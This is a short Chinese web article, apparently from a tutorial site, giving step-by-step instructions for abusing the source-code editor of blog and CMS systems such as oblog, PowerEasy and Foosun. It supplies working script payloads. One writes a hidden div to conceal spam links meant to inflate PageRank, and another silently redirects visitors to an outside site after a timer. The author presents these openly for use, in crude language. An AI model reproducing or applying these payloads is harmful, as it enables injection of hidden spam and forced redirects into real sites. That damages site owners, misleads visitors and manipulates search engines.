手机
当前位置:查字典教程网 >实用技巧 >漏洞研究 >关于oblog、动易、风讯等拥有源码编辑的程序漏洞浅析
关于oblog、动易、风讯等拥有源码编辑的程序漏洞浅析
摘要:目前的oblog、动易、风讯等一系列著名的系统,都存在源码编辑漏洞。具体操作是:1,进入"源码"编辑2,输入阶段公分四段:第一段:第二段:d...

目前的oblog、动易、风讯等一系列著名的系统,都存在源码编辑漏洞。

具体操作是:

1,进入"源码"编辑

2,输入阶段公分四段:

第一段:<此处输入正文,做事需要手下留情嘛,来点实际内容>

第二段:<script>document.write('<divstyle="display:none">');</script>

第三段:<此处输入作弊链接,获取google的pr值,此处的内容将不会被浏览者看到,且不会被搜索引擎发现>

第四段:<SCRIPT>window.setTimeout("Timer()",1000);functionTimer(){document.location='http://31u.net';}</SCRIPT>

第一段你可以略过,如果你想剧烈的强奸的话。第二段代码是为了隐藏第三段的链接。第四段为定时和跳转。将时间设定超过10秒为好,呵呵有利于搜索引擎收录嘛。

也可以不设置时间或将时间设置为0,那么点击该页面后将直接跳转到指定页面。

3,提交。

此方法目前没有解决ubb转换的问题。但是作者目前发现好多的文章系统什么的都没有进行ubb转换,动网论坛目前暂时无法强奸,正在进一步研究中

【关于oblog、动易、风讯等拥有源码编辑的程序漏洞浅析】相关文章:

利用BBSxp后台的缺陷得到webshell

系统后门手法和日志的擦除

Ofsatr 2.6搜索漏洞的简单分析

Byshell后门:无进程无DLL无硬盘文件

Flash 0day生成器提供下载

四大漏洞入侵博客

最新的黑客技术:XSS跨站脚本攻击详细介绍

IP Spoof技术介绍(IP 欺骗)

ADSL密码大集合

WDB论坛存在多个严重漏洞

精品推荐
分类导航